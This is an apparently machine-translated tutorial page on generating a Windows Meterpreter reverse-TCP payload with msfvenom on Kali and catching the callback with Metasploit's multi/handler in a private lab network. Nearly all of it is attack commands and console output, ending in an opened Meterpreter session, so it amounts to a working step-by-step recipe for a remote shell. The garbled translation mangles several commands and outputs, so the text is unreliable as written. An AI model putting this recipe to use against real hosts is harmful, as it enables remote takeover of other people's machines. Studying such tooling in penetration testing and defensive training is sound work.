Get the App
SLTechnology News&Howtos  ›  Network Security  › 

The use of shellcode of Metasploit in windows under Kali

Shulou Source: shulou.com Published: 2022-06-01 06:11:37 10月04日 Update

Network Topology:

Kaili system version:

Note: the previous version used the msfpayload command to generate shellcode

1.kaili generates shellcode:

Root@debian:~# msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.152.131 lport=1211-f exe > / root/shell.exe

()

two。 Listen for shellcode:

Msf > use exploit/multi/handler msf exploit (multi/handler) > set payload windows/meterpreter/reverse_tcppayload = > windows/meterpreter/reverse_tcpmsf exploit (multi/handler) > set lhost 192.168.152.131lhost = > 192.168.152.131msf exploit (multi/handler) > set lport 1211lport = > 1211msf exploit (multi/handler) > exploit [*] Started reverse TCP handler on 192.168.152.131

3. Upload the generated sehllcode to the windows host and run:

4. Session has already returned

Msf exploit (multi/handler) > exploit [*] Started reverse TCP handler on 192.168.152.131 Started reverse TCP handler on 1211 [*] Sending stage (179779 bytes) to 192.168.152.129 [*] Meterpreter session 1 opened (192.168.152.131) at 2018-02-24 07:58:44 + 0000

5. Successfully got shell:

Tags: Build version success Host Command Topology time system Network run Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Apple Shulou Technology Microsoft Shulou Tech Info NVidia